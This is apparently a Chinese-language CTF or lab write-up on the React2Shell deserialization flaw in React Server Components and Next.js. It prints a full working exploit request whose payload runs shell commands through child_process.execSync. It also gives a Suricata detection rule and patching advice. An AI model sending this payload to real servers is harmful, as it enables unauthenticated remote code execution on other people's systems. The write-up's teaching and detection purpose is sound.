React2Shell CVE-2025-55182:React Server Components 中未经身份验证的不安全反序列化,可通过 Flight 协议实现可靠的远程代码执行。
难度: 中级 → 高级
类别: Web 漏洞利用 | 反序列化 | RCE

CVE-2025-55182,绰号 React2Shell,是那种让防御者立即感到紧张 😬 的漏洞之一。它于 2025 年 12 月 被发现,CVSS 评分为 10.0,这已经告诉你这不是某种边缘情况的 bug。
其核心是,这个漏洞影响 React Server Components (RSC) 以及基于它们构建的框架——最著名的是 Next.js。可怕的部分是?
👉 未经身份验证的远程代码执行 (RCE) 👉 单个精心构造的 HTTP 请求 👉 默认配置也存在风险
无需登录。无需特殊权限。只需一个精心构造的请求。
react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopack这个房间将带我们了解这个 bug 存在 的原因,如何 利用它,以及防御者可以做些什么。
Flag: 无需回答。
在利用之前,我们需要架构清晰度。
React Server Components(在 React 19 中引入)允许 React 应用的某些部分在 服务器端 运行,而不是在浏览器中。这意味着:
客户端和服务器之间的通信通过 React Flight 协议 进行。该协议在客户端序列化数据,并在服务器端反序列化。
它使用 特殊标记:
$@ → Chunk 引用
$B → Blob 引用
通过冒号表示法的属性路径 示例:
$1:constructor:constructor
⚠️ 这个序列化逻辑正是问题所在。
问题: 什么符号表示 Blob 引用?
✅ 答案: $B
CVE-2025-55182 的核心是一个 经典的不安全反序列化缺陷。
让我们看看易受攻击的模式(请勿裁剪 👇):
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... 其他逻辑 ...
return moduleExports[metadata[2]]; // 易受攻击的行
}
在 JavaScript 中,括号表示法:
obj[someKey]
并不 限制仅访问导出的属性。它会遍历 整个原型链。
现在关键洞察来了 👀:
.constructorconstructor 指向 Function 构造函数Function("code") = 任意 JS 执行由于 Flight 协议允许冒号分隔的路径,攻击者可以发送:
$1:constructor:constructor
它会解析为:
.constructor.constructor → Function至此,游戏结束 🎮。
Flag: 无需回答。
现在让我们逐步分解 maple3142 的 PoC。
攻击者发送一个包含 伪造的 Chunk 对象 的 multipart 请求:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
该对象 模仿了 React 的内部 Chunk 结构。
通过将 then 指向 Chunk.prototype.then,React 被欺骗 等待攻击者控制的逻辑。
$B1337 标记触发 Blob 反序列化处理程序,该处理程序内部执行:
response._formData.get(response._prefix + id)
但我们污染了:
_formData.get → Function_prefix → 恶意 JS导致执行:
Function("process.mainModule.require('child_process').execSync('xcalc');1337")
💥 实现了任意 JavaScript 执行。
PoC 执行:
process.mainModule
.require('child_process')
.execSync('xcalc')
这可以毫不费力地被替换为:
Flag: 无需回答。
这是 完整的利用请求(原样,未裁剪):
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
(…multipart 主体继续…)
Next-Action 头触发 Server Actionsmultipart/form-data 是必须的$@0 创建自引用$B1337 触发 Blob 逻辑constructor:constructor 导致 Function这不是偶然的——这是一个 精确设计的链。
React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js:
其他: React Router (RSC), Waku, Redwood SDK
📊 Wiz 研究:39% 的云环境 暴露 🌐 Shodan:571k+ React 服务器,444k+ Next.js
那… 可真多 😶
首先在 Repeater 中,新建 HTTP 请求并选择目标。

使用 Burp Suite Repeater,我们发送 payload:
execSync('id')

然后:
execSync('whoami')

用户: ubuntu
Flag:
{React-19.2.0}
干净、可靠、可复现的利用 💀
对防御者来说好消息 👮♂️ —— 利用会留下痕迹。
Next-Action 头multipart/form-data"status":"resolved_model""then":"$1:__proto__:then"这些 绝不应该 出现在正常用户流量中。
alert http any any -> $LAN_NETWORK any (
msg:"Potential Next.js React2Shell / CVE-2025-66478 attempt";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
{
"queries": {
"detect_rev2shell_react_server_components": {
"query": "SELECT name, version, path FROM npm_packages WHERE ...",
"interval": 3600
}
}
}
非常适合:

React2Shell 是一个 教科书式的案例,展示了:
一旦安装补丁版本并遵循 npm audit 建议,该利用将完全失效 ✅。
⚠️ 切勿在授权实验室之外测试此漏洞。
🔥 始终快速修补。
🧠 始终理解 bug 存在 的原因——而不仅仅是如何利用它。
如果您喜欢这篇 Write-up 或希望与我在网络安全、CTF 和 VAPT 方面的工作保持联系:
🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010
Happy hacking — 请负责任地进行 🗿🚀